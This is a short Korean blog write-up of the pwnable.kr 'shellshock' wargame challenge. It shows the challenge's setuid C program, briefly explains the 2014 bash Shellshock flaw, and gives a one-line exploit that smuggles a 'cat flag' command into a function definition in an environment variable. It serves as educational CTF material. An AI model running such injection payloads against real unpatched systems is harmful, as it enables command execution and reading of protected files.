풀이
다음은 shellshock.c의 코드이다.
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
먼저 문제를 풀기 전, 쉘쇼크 취약점에 대해 알아봤다.
쉘쇼크 취약점은 2014년 9월 24일에 발견된, bash shell에 존재하는 보안 취약점이다. 환경변수 값의 유효성 검사를 하지않아 일어나는 취약점이다.
쉘쇼크 취약점 원리에 대한 설명은 다른 곳에 많이 나와있기 때문에 생략하도록 하겠다. ex) 나무위키
아주 간단하게 쉘쇼크 취약점을 공격할 수 있다.
shellshock@pwnable:~$ export qwer='() { echo TEST; }; cat flag'
'Wargame > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] lotto 풀이 (2pt) (0) | 2020.07.22 |
---|---|
[Pwnable.kr] blackjack 풀이 (1pt) (0) | 2020.07.21 |
[Pwnable.kr] mistake 풀이 (1pt) (0) | 2020.07.20 |
[Pwnable.kr] leg 풀이 (2pt) (0) | 2020.07.20 |
[Pwnable.kr] input2 풀이 (4pt) (0) | 2020.07.20 |